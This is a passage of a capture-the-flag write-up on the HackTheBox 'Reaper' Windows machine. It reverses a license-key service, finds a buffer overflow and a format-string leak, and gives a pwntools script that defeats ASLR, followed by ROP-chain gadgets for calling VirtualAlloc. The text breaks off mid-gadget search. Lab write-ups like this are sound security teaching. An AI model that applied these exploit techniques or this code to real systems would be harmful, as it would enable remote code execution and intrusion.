Reaper

Reaper starts with a simple key validation service. I’ll find the binary on an open FTP and reverse it to find both a buffer overflow and a format string vulnerability. I’ll abuse the format string to leak a memory address to bypass ASLR. Then I’ll abuse the overflow with ROP to call VirtualAlloc to make the stack executable and return to shellcode to get a shell. For root, I’ll find a driver that provides an arbitrary read and write from the kernel. I’ll abuse that to copy the token from a legit system process into my current process and spawn cmd.

Box Info

Name Reaper Reaper
Play on HackTheBox
Release Date 26 Aug 2025
Retire Date 26 Aug 2025
OS Windows Windows
Base Points Insane [50]
First Blood User N/A (non-competitive)
First Blood Root N/A (non-competitive)
Creator xct

Recon

Initial Scanning

nmap finds seven open TCP ports, FTP (21), HTTP (80), RDP (3389), and unknown services on 4141, 5040, 5357, and 7680:

oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.129.234.65
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-21 03:45 UTC
...[snip]...
Nmap scan report for 10.129.234.65
Host is up, received echo-reply ttl 127 (0.092s latency).
Scanned at 2025-08-21 03:45:30 UTC for 13s
Not shown: 65528 filtered tcp ports (no-response)
PORT     STATE SERVICE       REASON
21/tcp   open  ftp           syn-ack ttl 127
80/tcp   open  http          syn-ack ttl 127
3389/tcp open  ms-wbt-server syn-ack ttl 127
4141/tcp open  oirtgsvc      syn-ack ttl 127
5040/tcp open  unknown       syn-ack ttl 127
5357/tcp open  wsdapi        syn-ack ttl 127
7680/tcp open  pando-pub     syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.45 seconds
           Raw packets sent: 131075 (5.767MB) | Rcvd: 16 (688B)
oxdf@hacky$ nmap -p 21,80,3389,4141,5040,5357,7680 -sCV 10.129.234.65
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-21 03:46 UTC
Nmap scan report for 10.129.234.65
Host is up (0.092s latency).

PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 08-15-23  12:12AM                  262 dev_keys.txt
|_08-14-23  02:53PM               187392 dev_keysvc.exe
| ftp-syst:
|_  SYST: Windows_NT
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows
|_http-server-header: Microsoft-IIS/10.0
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=reaper
| Not valid before: 2025-04-15T02:04:48
|_Not valid after:  2025-10-15T02:04:48
4141/tcp open  oirtgsvc?
| fingerprint-strings:
|   GenericLines:
|     Choose an option:
|     Activate key
|     Exit
|     Invalid Option
|     Choose an option:
...[snip]...
|_    Exit
5040/tcp open  unknown
5357/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
7680/tcp open  pando-pub?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4141-TCP:V=7.94SVN%I=7%D=8/21%Time=68A69689%P=x86_64-pc-linux-gnu%r
SF:(NULL,35,"Choose\x20an\x20option:\n1\.\x20Set\x20key\n2\.\x20Activate\x
...[snip]...
SF:y\n3\.\x20Exit\n");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 190.41 seconds

The box shows many of the ports associated with a Windows Host, but with no evidence of active directory.

All of the ports show a TTL of 127, which matches the expected TTL for Windows one hop away.

FTP is showing anonymous login.

Website - TCP 80

Site

The website is the default IIS homepage:

image-20250820165838582

Tech Stack

The HTTP headers show IIS:

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Tue, 25 Jul 2023 12:33:16 GMT
Accept-Ranges: bytes
ETag: "dde15e2ff4bed91:0"
Server: Microsoft-IIS/10.0
Date: Wed, 20 Aug 2025 21:15:00 GMT
Content-Length: 696

The 404 page is the default IIS 404:

image-20250820165939763

The page loads as /iisstart.htm as well.

I’ll skip the directory brute force for now as it seems nothing is here.

FTP - TCP 21

I’m able to log in to FTP using the anonymous username and an empty password:

oxdf@hacky$ ftp anonymous@10.129.234.65
Connected to 10.129.234.65.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||5003|)
125 Data connection already open; Transfer starting.
08-15-23  12:12AM                  262 dev_keys.txt
08-14-23  02:53PM               187392 dev_keysvc.exe
226 Transfer complete.

There are two files. I’ll switch to binary mode and get them:

ftp> bin
200 Type set to I.
ftp> get dev_keys.txt
local: dev_keys.txt remote: dev_keys.txt
229 Entering Extended Passive Mode (|||5005|)
150 Opening BINARY mode data connection.
100% |******************************************************************************************|   262        2.80 KiB/s    00:00 ETA
226 Transfer complete.
262 bytes received in 00:00 (2.79 KiB/s)
ftp> get dev_keys
dev_keys.txt    dev_keysvc.exe
ftp> get dev_keysvc.exe
local: dev_keysvc.exe remote: dev_keysvc.exe
229 Entering Extended Passive Mode (|||5006|)
150 Opening BINARY mode data connection.
100% |******************************************************************************************|   183 KiB  366.08 KiB/s    00:00 ETA
226 Transfer complete.
187392 bytes received in 00:00 (365.96 KiB/s)

dev_keys.txt has three keys and a note:

Development Keys:

100-FE9A1-500-A270-0102-U3RhbmRhcmQgTGljZW5zZQ==
101-FE9A1-550-A271-0109-UHJlbWl1bSBMaWNlbnNl
102-FE9A1-500-A272-0106-UHJlbWl1bSBMaWNlbnNl

The dev keys can not be activated yet, we are working on fixing a bug in the activation function.

I’ll note they seem to end with base64 data, and in fact, it does decode:

oxdf@hacky$ echo U3RhbmRhcmQgTGljZW5zZQ== | base64 -d
Standard License
oxdf@hacky$ echo UHJlbWl1bSBMaWNlbnNl | base64 -d
Premium License

dev_keysvc.exe is a 64-bit Windows console executable:

oxdf@hacky$ file dev_keysvc.exe 
dev_keysvc.exe: PE32+ executable (console) x86-64, for MS Windows, 7 sections

TCP 4141

Connecting to TCP 4141 with nc offers a menu:

oxdf@hacky$ nc 10.129.234.65 4141
Choose an option:
1. Set key
2. Activate key
3. Exit

Entering 1 prompts for a key:

Enter a key: asd
Invalid key format
Choose an option:
1. Set key
2. Activate key
3. Exit

Everything I try returns “Invalid key format”. 2 just says there’s no key:

Could not find key!

3 closes the connection. This very much seems like a pwn challenge.

If I try one of the keys from FTP, it does accept it:

Choose an option:
1. Set key
2. Activate key
3. Exit
1
Enter a key: 100-FE9A1-500-A270-0102-U3RhbmRhcmQgTGljZW5zZQ==
Valid key format
Choose an option:
1. Set key
2. Activate key
3. Exit

If I then 2, it decodes the base64, but then goes right back to the menu:

Choose an option:
1. Set key
2. Activate key
3. Exit
2
Checking key: 100-FE9A1-500-A270-0102, Comment: Standard License
Could not find key!
Choose an option:
1. Set key
2. Activate key
3. Exit

If I choose 2 again, it just says there’s no key.

TCP 5040, 5357, and 7680

For completely unknown ports, I’ll try both curl and nc to connection. I can’t get anything out of 5040 or 7680 with either. 5357 does return an HTTP response to curl:

oxdf@hacky$ curl http://10.129.234.65:5357
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Service Unavailable</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
<BODY><h2>Service Unavailable</h2>
<hr><p>HTTP Error 503. The service is unavailable.</p>
</BODY></HTML>

Not much else to do here either.

Shell as keysvc

Protections

In PEBear, in the Optional Headers section under “DLL Characteristics”, I’ll see that NX (DEP) is enabled in this binary:

image-20250821163148845

There’s no way to see if the remote system has it enabled system-wide, but at Insane it’s fair to assume it does. I’ll assume ASLR is enabled as well.

Run dev_keysvc.exe

On a Windows VM, I can run dev_keysvc.exe and it opens a DOS window and prints that it’s listening:

image-20250821152542707

I can interact with it as well from my Linux VM:

oxdf@hacky$ nc 10.0.0.202 4141
Choose an option:
1. Set key
2. Activate key
3. Exit

I can also open it in x64dbg for debugging.

Reversing dev_keysvc.exe

main

The main function is at 0x140001bd0:

image-20250821152919352

It sets up the socket and starts listening, entering a while true loop that calls accept, and when there’s a connection it takes that socket, spins off a new thread passing in that socket, and then resumes blocking on accept waiting for the next connection.

handle_client Overview

The function at 0x140001000 I’ve named handle_client, as it takes the client socket and is responsible for the main menu plus calling whatever comes from those choices.

image-20250821153709247

If “3” is entered, it breaks the outermost loop and returns. If anything else is entered, it sends an “Invalid Option” message and loops to print the menu again.

Option 1

The binary prompts for the key, and then reads into the inputKeyBuffer:

        send(clientSocket,"Enter a key: ",0xd);
        bufferSize = 0;
        uVar1 = 0x1000;
        recv(clientSocket,inputKeyBuffer);
        keyBlock = inputKeyBuffer;

That result is passed to a function I named validate_key (0x140001760):

        key_valid = validate_key((char *)inputKeyBuffer,keyBlock,uVar1,bufferSize);
        if (key_valid == 0) {
          msgInvalidKey = "Invalid key format\n";
          messageLength = strlen_local("Invalid key format\n");
          send(clientSocket,msgInvalidKey,messageLength & 0xffffffff);
        }
        else {
          msgValidKey = "Valid key format\n";
          storedKeyBuffer = inputKeyBuffer;
          yield_noop();
          messageLength = strlen_local(msgValidKey);
          send(clientSocket,msgValidKey,messageLength & 0xffffffff);
        }

If this function returns 0, it sends back a failure message. Otherwise, it stores the key buffer in storedKeyBuffer and sends a success message. Either way, it returns to the top of the loop and prints the menu.

This validate_key function parses the key using a loop, and then reads an int from the key, and compares them:

image-20250821134542771

At mark 1, if the key is less than 0x17 bytes, it’s not valid and return 0. At mark 2, it checks for a byte that’s not ASCII between position 3 and 9, and if it finds any, it returns 0. It validates that positions 3, 9, 13, and 18 are “-“, or returns 0 at mark 3.

If the position is less than 0x12 (18) and it’s not one of the “-“, the function uses the byte to calculate the checksum at mark 4. The byte value of the character minus 0x30 is added to a running total. At mark 5, that total is taken mod 10000 (so the low four digits), and that’s the checksum.

At mark 6, the extract_checksum function is called, taking an address 0x13 bytes into the key, and the memory address 0x1400203f4, which holds the string “%4d”. This is effectively parsing a four digit int from 0x13 bytes into the key, which is the last number before the base64 data. Mark 7 is where it compares the computer checksum with the number from the key, and if it matches, returns 1 (otherwise returning 0).

I can simulate this in a Python REPL:

>>> key = '100-FE9A1-500-A270-0102-U3RhbmRhcmQgTGljZW5zZQ=='
>>> sum([ord(c) - 0x30 for c in key[:0x13] if c != '-'])
102
>>> key = '101-FE9A1-550-A271-0109-UHJlbWl1bSBMaWNlbnNl'
>>> sum([ord(c) - 0x30 for c in key[:0x13] if c != '-'])
109
>>> key = '102-FE9A1-500-A272-0106-UHJlbWl1bSBMaWNlbnNl'
>>> sum([ord(c) - 0x30 for c in key[:0x13] if c != '-'])
106

I’ll note, the data after the last dash is not a part of the checksum. I can make a fake key in Python:

>>> key = '223-AAAAA-BBB-CCCC-0222-whatever i want here'
>>> sum([ord(c) - 0x30 for c in key[:0x13] if c != '-'])
222

It works:

Choose an option:
1. Set key
2. Activate key
3. Exit
1
Enter a key: 223-AAAAA-BBB-CCCC-0222-whatever i want here
Valid key format

Option 2

The code when “2” is sent first check that storedKeyBuffer is non-zero, and then feeds that to a function, activate_key.

      if (((*storedKeyBuffer)[0] == '\0') ||
         (uVar1 = activate_key(clientSocket,(uchar *)storedKeyBuffer), (uVar1 & 0xff) == 0)) {
        msgKeyNotFound = "\nCould not find key!\n";
        messageLength = strlen_local("\nCould not find key!\n");
        send(clientSocket,msgKeyNotFound,messageLength & 0xffffffff);
      }
      else {
        msgKeyFound = "Key found!\n";
        messageLength = strlen_local("Key found!\n");
        send(clientSocket,msgKeyFound,messageLength & 0xffffffff);
      }
      zero_buffer(storedKeyBuffer,0,0x1000);

If either are zero, it returns a “cannot find key” message. Otherwise, it returns “Key found!”. Either way, the storedKeyBuffer is zeroed.

activate_key (0x140001910) starts with a call to log_key, and then opens a file, keys.txt, and loops over the lines, checking if any of the lines match the given key:

image-20250821165510719

If it matches, it returns 1, else 0.

log_key (0x1400015b0) is responsible for base64-decoding the last section, and printing a message. The decompile looks like:

image-20250821170944856

The decompile is clearly missing some things, but it’s enough to get the general idea. I didn’t dive too deep into this, other than to see it’s building the message to send back, which eventually looks like:

Checking key: 100-FE9A1-500-A270-0102, Comment: Standard License

I will note a potential format string vulnerabiltiy at line 29 in the image above, where it’s calling snprintf with three args (which I’ll abuse shortly).

Buffer Overflow

Identify

I’ll start dev_keysvc.exe in x64dbg and base64-encode a bunch of “A”s to get a long buffer:

oxdf@hacky$ python -c "print('A' * 500)" | base64 -w0
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEK

I’ve already noted above that the stuff after the last “-“ doesn’t matter as far as checksum, so I’ll try just sending this in:

Choose an option:
1. Set key
2. Activate key
3. Exit
1
Enter a key: 100-FE9A1-500-A270-0102-QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEK
Valid key format
Choose an option:
1. Set key
2. Activate key
3. Exit

No crash, and the menu comes back. However, when I go to “Activate key”, it just hangs:

Choose an option:
1. Set key
2. Activate key
3. Exit
2

In x64dbg, it’s at a ret (mark 1):

image-20250821163638315Click for full size image

At mark 2 it’s showing an EXCEPTION_ACCESS_VIOLATION. At mark 3, the top of the stack, the return address has been overwritten with all “A”s. RIP is at the ret for the log_key function, and this is crashing because AAAAAAAA isn’t a valid address to load into RIP.

Calculate Offset

I’ll use gdb and peda to get access to pattern_create, and make a 500 character pattern:

oxdf@hacky$ gdb -q -batch -ex "pattern_create 500" -ex "quit" | cut -d"'" -f2 | base64 -w0
QUFBJUFBc0FBQkFBJEFBbkFBQ0FBLUFBKEFBREFBO0FBKUFBRUFBYUFBMEFBRkFBYkFBMUFBR0FBY0FBMkFBSEFBZEFBM0FBSUFBZUFBNEFBSkFBZkFBNUFBS0FBZ0FBNkFBTEFBaEFBN0FBTUFBaUFBOEFBTkFBakFBOUFBT0FBa0FBUEFBbEFBUUFBbUFBUkFBb0FBU0FBcEFBVEFBcUFBVUFBckFBVkFBdEFBV0FBdUFBWEFBdkFBWUFBd0FBWkFBeEFBeUFBekElJUElc0ElQkElJEElbkElQ0ElLUElKEElREElO0ElKUElRUElYUElMEElRkElYkElMUElR0ElY0ElMkElSEElZEElM0ElSUElZUElNEElSkElZkElNUElS0ElZ0ElNkElTEElaEElN0ElTUElaUElOEElTkElakElOUElT0Ela0ElUEElbEElUUElbUElUkElb0ElU0ElcEElVEElcUElVUElckElVkEldEElV0EldUElWEEldkElWUEld0ElWkEleEEleUElekFzJUFzc0FzQkFzJEFzbkFzQ0FzLUFzKEFzREFzO0FzKUFzRUFzYUFzMEFzRkFzYkFzMUFzR0FzY0FzMkFzSEFzZEFzM0FzSUFzZUFzNEFzSkFzZkFzNUFzS0FzZ0FzNkEK

I’m using cut to remove the ‘ from each side, and the base64 to encode the result.

I’ll restart the server, send the key, and then activate it:

$ nc 10.0.0.202 4141
Choose an option:
1. Set key
2. Activate key
3. Exit
1
Enter a key: 100-FE9A1-500-A270-0102-QUFBJUFBc0FBQkFBJEFBbkFBQ0FBLUFBKEFBREFBO0FBKUFBRUFBYUFBMEFBRkFBYkFBMUFBR0FBY0FBMkFBSEFBZEFBM0FBSUFBZUFBNEFBSkFBZkFBNUFBS0FBZ0FBNkFBTEFBaEFBN0FBTUFBaUFBOEFBTkFBakFBOUFBT0FBa0FBUEFBbEFBUUFBbUFBUkFBb0FBU0FBcEFBVEFBcUFBVUFBckFBVkFBdEFBV0FBdUFBWEFBdkFBWUFBd0FBWkFBeEFBeUFBekElJUElc0ElQkElJEElbkElQ0ElLUElKEElREElO0ElKUElRUElYUElMEElRkElYkElMUElR0ElY0ElMkElSEElZEElM0ElSUElZUElNEElSkElZkElNUElS0ElZ0ElNkElTEElaEElN0ElTUElaUElOEElTkElakElOUElT0Ela0ElUEElbEElUUElbUElUkElb0ElU0ElcEElVEElcUElVUElckElVkEldEElV0EldUElWEEldkElWUEld0ElWkEleEEleUElekFzJUFzc0FzQkFzJEFzbkFzQ0FzLUFzKEFzREFzO0FzKUFzRUFzYUFzMEFzRkFzYkFzMUFzR0FzY0FzMkFzSEFzZEFzM0FzSUFzZUFzNEFzSkFzZkFzNUFzS0FzZ0FzNkEK
Valid key format
Choose an option:
1. Set key
2. Activate key
3. Exit
2

At x64dbg it crashes with the pattern at the top of RSP:

image-20250821164408163

I’ll throw that into pattern_offset and see it’s at 88 bytes:

oxdf@hacky$ gdb -q -batch -ex "pattern_offset AAKAAgAA" -ex "quit"
AAKAAgAA found at offset: 88

Validate Offset

I’ll generate a payload that’s base64-encoded 88 “A”s and then eight “B”s:

>>> b64encode(b"A"*88 + b"B" * 8).decode()
'QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJCQkJCQkJC'

I’ll restart the debugger one more time and send it:

oxdf@hacky$ nc 10.0.0.202 4141
Choose an option:
1. Set key
2. Activate key
3. Exit
1
Enter a key: 100-FE9A1-500-A270-0102-QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJCQkJCQkJC
Valid key format
Choose an option:
1. Set key
2. Activate key
3. Exit
2
Checking key: 100-FE9A1-500-A270-0102, Comment: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

At the crash, there are eight “B”s at the top of the stack:

image-20250821164801994

That’s control over RIP.

Memory Leak

Details

I noted above that there’s an unsafe call to snprintf in the log_key function:

_snprintf(keyStringBuffer,0xff2,(char *)keyData);

It should take an output buffer, a length, a format string, and then one or more variables. By using keyData as the format string, I can potentially inject format strings in the input that will be evaluated.

At the time of the snprintf call, the three args are in RCX (output buffer), RDX (length), and R8 (format string):

image-20250821173753685

If I were to get a “%p” into the format string, it would try to read the memory at the next arg, R9. That just happens to have a constant address in the binary from other activity. So if I can leak that, I can know where the full binary is loaded into memory.

POC

To test this theory, I’ll make a key that starts with %p and still meets the rest of the criteria for a valid key:

>>> key = '%p -AAAAA-BBB-CCCC-____-U3RhbmRhcmQgTGljZW5zZQ=='
>>> sum([ord(c) - 0x30 for c in key[:0x13] if c != '-'])
252

On submitting and activating that, it dumps a memory address:

oxdf@hacky$ nc 10.0.0.202 4141
Choose an option:
1. Set key
2. Activate key
3. Exit
1
Enter a key: %p -AAAAA-BBB-CCCC-0252-U3RhbmRhcmQgTGljZW5zZQ==
Valid key format
Choose an option:
1. Set key
2. Activate key
3. Exit
2
Checking key: 00007FF75A7F0660 -AAAAA, Comment: Standard License

Not only is it a memory address, but it matches what is in the x64dbg display above as the address for “Checking key: “.

Script

I’ll start an exploit script that will execute this leak and get the module base address. The memory map shows the module is loaded at 0x00007FF75A7D0000. Subtracting off the leaked address, it’s at an offset of 0x20660:

>>> hex(0x00007FF75A7F0660 - 0x00007FF75A7D0000)
'0x20660'

The script so far will take an IP, connect to it, make a key to leak the memory address, and calculate the module base address:

# /// script
# requires-python = ">=3.11"
# dependencies = [
#     "pwntools",
# ]
# ///
import sys
from base64 import b64encode
from pwn import remote


def build_valid_key(id, serial, comment):
    assert serial[5] == serial[9] == '-'
    key_start = f"{id:03}-{serial}"
    checksum = sum(ord(c) - 0x30 for c in key_start if c != '-')
    encoded_comment = b64encode(comment.encode()).decode()
    return f"{key_start}-{checksum:04}-{encoded_comment}"


if len(sys.argv) != 2:
    print(f"usage: {sys.argv[0]} <ip>")
    sys.exit()

p = remote(sys.argv[1], 4141)
p.readuntil(b'Exit\n')
p.sendline(b'1')
key = build_valid_key("%p ", 'AAAAA-BBB-CCCC', 'test')
p.readuntil(b'key: ')
p.sendline(key.encode())
p.readuntil(b'Exit\n')
p.sendline(b'2')
leak_addr = int(p.readline().split(b' ')[2].decode(), 16)
print(f'[+] Leaked string address: 0x{leak_addr:x}')
base_addr = leak_addr - 0x20660
print(f'[+] Base address: 0x{base_addr:x}')
p.close()

The dependencies at the top are added with uv add --script exploit.py pwntools to set up the virtual env to run with uv (see my uv cheatsheet). It works:

oxdf@hacky$ uv run --script exploit.py 10.0.0.202
Installed 34 packages in 162ms
[+] Opening connection to 10.0.0.202 on port 4141: Done
[+] Leaked string address: 0x7ff75a7f0660
[+] Base address: 0x7ff75a7d0000
[*] Closed connection to 10.0.0.202 port 4141

It works on the remote target as well:

oxdf@hacky$ uv run --script exploit.py 10.129.234.65
[+] Opening connection to 10.129.234.65 on port 4141: Done
[+] Leaked string address: 0x7ff6693d0660
[+] Base address: 0x7ff6693b0000
[*] Closed connection to 10.129.234.65 port 4141

ROP

Strategy

h0mbre has a nice intro on Windows ROP chains that’s worth reading for more details. I’ll follow a similar approach, though the article is about 32-bit where I am working in 64. The strategy is to make the stack executable, and then jump to shellcode in it.

I’ll want to use a function like VirtualProtect or VirtualAlloc. Ghida shows that VirtualAlloc is already imported making it easier to use:

image-20250822084401053

VirtualAlloc will:

Reserves, commits, or changes the state of a region of pages in the virtual address space of the calling process.

Typically I see VirtualAlloc used to allocate a block of memory for use, but it can also be used with an already allocated block to change the permissions.

The docs show that the call is made as:

LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);

That means the goal is to set up a ROP chain such that I can call VirtualAlloc with:

lpAddress: RCX = address on stack
dwSize: RDX = size of memory region
flAllocationType: R8 = MEM_COMMIT = 0x1000
flProtect: R9 = PAGE__EXECUTE_READWRITE = 0x40

And then a way to jump to the right place in the stack where I put shellcode for a reverse shell.

Gadgets

I’ll use Ropper (uv tool install ropper) to get ROP gadgets from the binary. I’ll use the --nocolor flag or else it will mess up my greps.

oxdf@hacky$ ropper --file ./dev_keysvc.exe --nocolor > ropper.txt
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
oxdf@hacky$ wc -l ropper.txt 
4613 ropper.txt

I’ll also use ROPgadget as a backup. It returns different gadgets just because picking out what gadgets to show is an art not a science. If I can’t find what I’m looking for with ropper, it’s worth checking ROPgadgets.

oxdf@hacky$ wc -l ropgadget.txt
11084 ropgadget.txt

flProtect

So when I look for a way to get a static value into R9, I’ll start doing grep to look for pop, mov, and add instructions like:

oxdf@hacky$ cat ropper.txt | grep 'pop r9'
oxdf@hacky$ cat ropper.txt | grep 'mov r9,'
0x0000000140001f90: mov r9, rbx; mov r8, 0; add rsp, 8; ret; 
oxdf@hacky$ cat ropper.txt | grep 'add r9,'
0x0000000140002a9c: add byte ptr [rax], al; add byte ptr [rax], al; mov r9d, dword ptr [r10 + r8*4 + 0x30000]; add r9, r10; jmp r9; ret; 
0x0000000140002a9d: add byte ptr [rax], al; add byte ptr [rdi - 0x75], al; mov word ptr [rdx + 0x30000], es; add r9, r10; jmp r9; ret; 
0x0000000140002aa4: add byte ptr [rax], al; add eax, dword ptr [rax]; add r9, r10; jmp r9; ret; 
0x0000000140002a9e: add byte ptr [rax], al; mov r9d, dword ptr [r10 + r8*4 + 0x30000]; add r9, r10; jmp r9; ret; 
0x0000000140002a9f: add byte ptr [rdi - 0x75], al; mov word ptr [rdx + 0x30000], es; add r9, r10; jmp r9; ret; 
0x0000000140002aa6: add eax, dword ptr [rax]; add r9, r10; jmp r9; ret; 
0x0000000140002aa8: add r9, r10; jmp r9; ret; 
0x0000000140002aa1: mov ecx, dword ptr [rdx + rax*4 + 0x30000]; add r9, r10; jmp r9; ret; 
0x0000000140002aa0: mov r9d, dword ptr [r10 + r8*4 + 0x30000]; add r9, r10; jmp r9; ret; 
0x0000000140002aa2: mov word ptr [rdx + 0x30000], es; add r9, r10; jmp r9; ret;

Here the best option is probably moving RBX into R9 if I can find a way to get a value into RBX. There’s a clean gadget for that:

oxdf@hacky$ cat ropper.txt | grep ': pop rbx; ret'
0x00000001400020d9: pop rbx; ret;

So I can use these two gadgets to load a value into R9:

pop_rbx = p64(base_addr + 0x20d9)
mov_r9_rbx = p64(base_addr + 0x1f90) # note also 0s R8 and adds 8 to RSP

def load_R9(value):
    """Side effects: R8 = 0, stack moved by 8"""
    payload = b""
    payload += pop_rbx + p64(value)
    payload += mov_r9_rbx
    payload += b"JUNKJUNK"
    return payload

This gadget wipes R8, which I will need to set, so I’m doing it first. It also adds 8 to RSP, so I’m adding some junk there to hold the space.

lpAddress

The address I want to get into the lpAddress / RCX is something on the stack. I’ll notice when I hit the overwrite that R9, R11, and RSP (obviously) all have stack addresses:

image-20250822153631568Click for full size image

A bunch of playing around shows that R9 it not reliable. Sometimes R8 is. I’d like to avoid these all together.

Some more grep shows that I can XOR RBX with RSP:

oxdf@hacky$ cat ropper.txt | grep -P ': ... ..., rsp'
0x0000000140001fa0: xor rbx, rsp; ret; 
0x000000014000e875: xor rcx, rsp; call 0x1ee90; add rsp, 0x58; ret; 
0x000000014000434a: xor rcx, rsp; call 0x1ee90; add rsp, 0xe0; pop rbp; ret; 
0x00000001400091d5: xor rcx, rsp; call 0x1ee90; mov rbx, qword ptr [rsp + 0x368]; add rsp, 0x34

If I can set RBX to 0, XOR is with RSP, and then move RBX to RCX, that’s a path. I’ve already got a pop rbx gadget from the previous section. I can’t find a good way to load RBX into RCX, but there’s a way to get RBX into RAX:

0x0000000140001fc2: push rbx; pop rax; ret;

And then a way to get RAX into RCX:

0x0000000140001f80: mov rcx, rax; ret; 

That should be reliable:

xor_rbx_rsp = p64(base_addr + 0x1fa0)
push_rbx_pop_rax = p64(base_addr + 0x1fc2)
mov_rcx_rax = p64(base_addr + 0x1f80)

...[snip]...

def load_RCX_stack():
    """Side effects: changes AL"""
    payload = b""
    payload += pop_rbx + p64(0)
    payload += xor_rbx_rsp
    payload += push_rbx_pop_rax
    payload += mov_rcx_rax
    return payload

flAllocationType

I need to get 0x1000 into R8. I can’t find any good mov gadgets into R8. I did find an add:

0x0000000140003918: add r8, r9; add rax, r8; ret; 

Assuming I don’t care about RAX, I can call this over and over. I’ve already set R9 to 0x40. I can just call this one 40 times:

add_r8_r9 = p64(base_addr + 0x3918) # messes with RAX

...[snip]...

for i in range(0x1000 // 0x40):
    payload += add_r8_r9

jmp VirtualAlloc

There aren’t a lot of great gadgets for getting a value into RDX. I don’t see anything promising in ropper output:

oxdf@hacky$ cat ropper.txt | grep ': mov rdx,'
0x0000000140001b0c: mov rdx, 0xffffffffffffffff; mov rcx, qword ptr [rsp + 0x40]; call 0x1a60; add rsp, 0x38; ret; 
0x000000014001f550: mov rdx, qword ptr [rbp + 0xb8]; call 0x56b4; nop; add rsp, 0x20; pop rbp; ret; 
0x0000000140005b4d: mov rdx, qword ptr [rdx]; mov r8d, 2; call 0x39d0; add rsp, 0x28; ret; 
0x0000000140005b33: mov rdx, qword ptr [rdx]; mov rax, rcx; call 0x39d0; call rax; 
0x00000001400184b1: mov rdx, qword ptr [rip + 0x7e50]; call rdx; 
